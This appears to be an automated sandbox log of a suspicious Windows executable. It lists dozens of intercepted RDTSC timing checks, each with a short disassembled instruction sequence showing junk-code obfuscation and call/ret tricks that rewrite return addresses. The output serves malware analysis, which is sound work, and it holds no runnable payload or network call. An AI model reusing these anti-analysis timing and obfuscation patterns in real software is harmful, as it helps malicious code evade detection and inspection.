Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11730CB second address: 1173145 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F020CB267E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F020CB267E8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ecx 0x0000002c call 00007F020CB267E8h 0x00000031 pop ecx 0x00000032 mov dword ptr [esp+04h], ecx 0x00000036 add dword ptr [esp+04h], 00000014h 0x0000003e inc ecx 0x0000003f push ecx 0x00000040 ret 0x00000041 pop ecx 0x00000042 ret 0x00000043 mov bh, cl 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007F020CB267E8h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 00000018h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 mov ebx, dword ptr [ebp+12482F2Ch] 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c pop eax 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1173145 second address: 1173149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1175193 second address: 117519D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 117519D second address: 11751A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1175FAD second address: 1175FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 117333F second address: 1173345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1173345 second address: 117334F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F020CB267ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1172338 second address: 1172351 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB28454h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11752D6 second address: 11752DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11752DA second address: 11752E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 117141B second address: 1171426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11752E0 second address: 117536D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F020CB28446h 0x00000009 jno 00007F020CB28446h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F020CB28448h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d push dword ptr fs:[00000000h] 0x00000034 mov edi, dword ptr [ebp+122D38C9h] 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 pushad 0x00000042 or si, 713Fh 0x00000047 mov dword ptr [ebp+122D2327h], edx 0x0000004d popad 0x0000004e mov eax, dword ptr [ebp+122D1205h] 0x00000054 jnc 00007F020CB2844Ah 0x0000005a push FFFFFFFFh 0x0000005c push 00000000h 0x0000005e push ebx 0x0000005f call 00007F020CB28448h 0x00000064 pop ebx 0x00000065 mov dword ptr [esp+04h], ebx 0x00000069 add dword ptr [esp+04h], 00000019h 0x00000071 inc ebx 0x00000072 push ebx 0x00000073 ret 0x00000074 pop ebx 0x00000075 ret 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 117536D second address: 1175378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F020CB267E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1171426 second address: 11714B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F020CB28448h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 jnp 00007F020CB2844Ch 0x00000027 mov dword ptr [ebp+1247D13Ah], esi 0x0000002d mov ebx, 43284A68h 0x00000032 push dword ptr fs:[00000000h] 0x00000039 call 00007F020CB28455h 0x0000003e mov edi, edx 0x00000040 pop ebx 0x00000041 mov dword ptr fs:[00000000h], esp 0x00000048 mov di, ABE1h 0x0000004c mov eax, dword ptr [ebp+122D0DE1h] 0x00000052 mov ebx, dword ptr [ebp+122D2E88h] 0x00000058 push FFFFFFFFh 0x0000005a clc 0x0000005b jmp 00007F020CB28451h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push ebx 0x00000064 jno 00007F020CB28446h 0x0000006a pop ebx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11714B0 second address: 11714B5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 117613D second address: 117614B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11827E5 second address: 11827EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11827EA second address: 118284C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F020CB28446h 0x00000009 jmp 00007F020CB28452h 0x0000000e jno 00007F020CB28446h 0x00000014 popad 0x00000015 jno 00007F020CB28448h 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 ja 00007F020CB28446h 0x00000026 jmp 00007F020CB28458h 0x0000002b jmp 00007F020CB2844Eh 0x00000030 jno 00007F020CB28446h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118284C second address: 1182859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F020CB267E6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1182962 second address: 1182968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1182968 second address: 118298A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EAh 0x00000007 jp 00007F020CB267E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jns 00007F020CB267EEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118298A second address: 11829A2 instructions: 0x00000000 rdtsc 0x00000002 js 00007F020CB28453h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F020CB2844Bh 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1182C2C second address: 1182C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1182C44 second address: 1182C61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1182C61 second address: 1182C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1182C6A second address: 1182C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1182C70 second address: 1182C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jng 00007F020CB267E6h 0x0000000f jmp 00007F020CB267EAh 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1182C8A second address: 1182C94 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F020CB2844Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1184739 second address: 1184741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1184741 second address: 1184746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118878E second address: 11887A0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F020CB267E8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11887A0 second address: 11887A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11887A5 second address: 11887AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11887AA second address: 11887B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11887B0 second address: 11887D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F020CB267F0h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11887D2 second address: 11887D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118D561 second address: 118D568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118DCA9 second address: 118DCAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118DE19 second address: 118DE29 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F020CB267EEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118DE29 second address: 118DE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jne 00007F020CB2844Ah 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118DE3E second address: 118DE5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F020CB267F0h 0x0000000c ja 00007F020CB267E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118E0FA second address: 118E110 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F020CB28446h 0x00000008 jo 00007F020CB28446h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118E110 second address: 118E11C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F020CB267E6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118E11C second address: 118E121 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118E266 second address: 118E282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F020CB267F6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118E282 second address: 118E294 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F020CB28446h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118E294 second address: 118E298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118E5C9 second address: 118E5CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118E5CD second address: 118E5DA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118E73D second address: 118E741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 118E741 second address: 118E753 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F020CB267EEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1197879 second address: 119787D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 119787D second address: 1197892 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1197892 second address: 1197898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1197898 second address: 119789D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196458 second address: 11964A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F020CB28450h 0x00000013 push eax 0x00000014 jno 00007F020CB28446h 0x0000001a jmp 00007F020CB2844Fh 0x0000001f pop eax 0x00000020 push ebx 0x00000021 jmp 00007F020CB28452h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196A44 second address: 1196A50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F020CB267E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196BA9 second address: 1196BC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28454h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196E76 second address: 1196E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196E7C second address: 1196ED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F020CB28458h 0x0000000b jmp 00007F020CB2844Bh 0x00000010 popad 0x00000011 jmp 00007F020CB2844Ah 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b js 00007F020CB28446h 0x00000021 jmp 00007F020CB28458h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196ED3 second address: 1196EDD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F020CB267E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1196EDD second address: 1196EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1197093 second address: 119709B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1197225 second address: 1197229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 119AB1A second address: 119AB2A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F020CB267F2h 0x00000008 ja 00007F020CB267E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1121EBF second address: 1121EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 119E4EB second address: 119E513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007F020CB267F8h 0x0000000d jnc 00007F020CB267E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1112F42 second address: 1112F4C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F020CB28446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1165F74 second address: 1165F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166120 second address: 1166125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166125 second address: 1166150 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c jmp 00007F020CB267F4h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166150 second address: 1166154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166154 second address: 1166158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166158 second address: 116619B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F020CB28448h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 push eax 0x00000023 cld 0x00000024 pop edx 0x00000025 mov cx, 1E13h 0x00000029 je 00007F020CB2844Ch 0x0000002f add edi, 00AEF515h 0x00000035 nop 0x00000036 pushad 0x00000037 push esi 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116619B second address: 11661B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F020CB267EFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116633A second address: 116633E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166BC3 second address: 1166BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166BC9 second address: 1166BED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28456h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push esi 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166BED second address: 1166BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166BF9 second address: 1166C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F020CB28451h 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F020CB2845Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166D14 second address: 1166D64 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jp 00007F020CB267E6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 ja 00007F020CB267F4h 0x0000001c nop 0x0000001d jmp 00007F020CB267EDh 0x00000022 lea eax, dword ptr [ebp+1248A6F0h] 0x00000028 and edx, dword ptr [ebp+122D37CDh] 0x0000002e sbb edi, 639EA296h 0x00000034 nop 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push edx 0x00000039 pop edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166D64 second address: 1166D7C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F020CB28446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jno 00007F020CB28446h 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A201D second address: 11A2021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A2021 second address: 11A2027 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A2557 second address: 11A257E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F020CB267F0h 0x00000008 jbe 00007F020CB267E6h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jc 00007F020CB267E6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A257E second address: 11A2584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A2584 second address: 11A2589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
